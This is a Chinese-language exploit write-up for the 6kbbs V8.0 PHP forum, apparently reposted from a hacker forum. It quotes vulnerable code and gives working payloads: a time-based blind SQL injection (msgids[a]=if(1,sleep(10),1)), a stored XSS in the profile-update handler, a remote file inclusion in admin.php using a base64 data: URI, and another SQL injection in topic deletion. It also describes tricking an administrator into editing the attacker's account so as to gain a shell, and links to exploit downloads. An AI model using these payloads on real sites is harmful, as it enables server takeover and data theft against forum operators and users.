6kbbs V8.0是一个采用 PHP+MySQL 构建的高效能的论坛程序,拥有代码简洁、使用方便、功能强大、速度极快等优点。
总体上:采用utf-8,inc\init.php模拟了magic_quotes_gpc,取消了全局。数字类型过滤严格,字符类型SQL加了单引号。
1. 延迟注射:
ajaxmember.php?action=deleteMsgs 80行
case "deleteMsgs": $msgids=$_POST['msgids']; //DELETE if(is_array($msgids)) { $delids=implode(",",$msgids); echo "id in ($delids) and touserid={$lg['userid']}"; $db->row_delete("msgs","id in ($delids) and touserid={$lg['userid']}"); //可惜了,是deleted语句,无论结果,只返回 _Y_ } succeedFlag(); break;
没有错误输出,被迫采用延迟的方法:POST一个 msgids[a]=if(1,sleep(10),1) 进入数据库。
操作语句是:DELETE FROM `db_msgs` WHERE id in ( if(1,sleep(10),1) ) and touserid=1
系统采用md5(username.userpass)的方式。Exp:
http://www.uudisc.com/filedownload?user=k4shifz&id=3667574
2. 论坛跨站:
ajaxmember.php 34行 设置论坛个人信息:
case "modifyDetails": $user = $_POST['user']; //接收的user数组没有进行htmlspecialchars
if(getPopedom(5)==0){ $user['usertitle']=''; }
if($user["email"]==""){ exit("资料不完整。"); }
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey){ if(!empty($rkey) && stristr($user['usertitle'],$rkey)){ exit("自定义头衔含有禁用关键字"); } }
$db->row_update("users",$user,"id={$lg['userid']}"); //存入数据库,函数内SQL有单引号包裹 succeedFlag();
论坛帖子对输出进行了XSS过滤,个人签名等XSS点无法使用。突破点在后台管理编辑用户的地方,所以比较鸡肋。不过系统后台拿shell方法较多,直接编辑脚本即可,利用方法:
注册用户,修改个人信息,装嫩让管理后台编辑你的用户,拿shell。
利用ajax操作后台的js:
http://www.uudisc.com/user/k4shifz/file/3665675
再简单说一下后台:
后台漏洞比较多,编辑脚本拿shell、本地包含,注入,还有个远程包含:
admin\admin.php ...... $inc=strFilter($_GET['inc']); $action=strFilter($_GET['action']); ...... $inc=str_replace('.','',$inc);echo $inc; require_once($inc.".php"); //远程包含,可惜在后台
/admin/admin.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4= //phpinfo()
5.2.0以后受制于allow_url_include
捡一个注入:
ajaxadmin.php
case "dotopics": try{ $postaction=$_POST['postaction']; $tids=$_POST['tids']; if(empty($tids)){ echo("没有选中帖子。"); return; } if(is_array($tids)) { $tidstr=implode(",",$tids); switch($postaction){ case "delPost": $db->row_delete("posts","tid in ({$tidstr}) and fid={$fid}"); //进入数据库查询
发布作者:k4shifz,由情整理编辑
|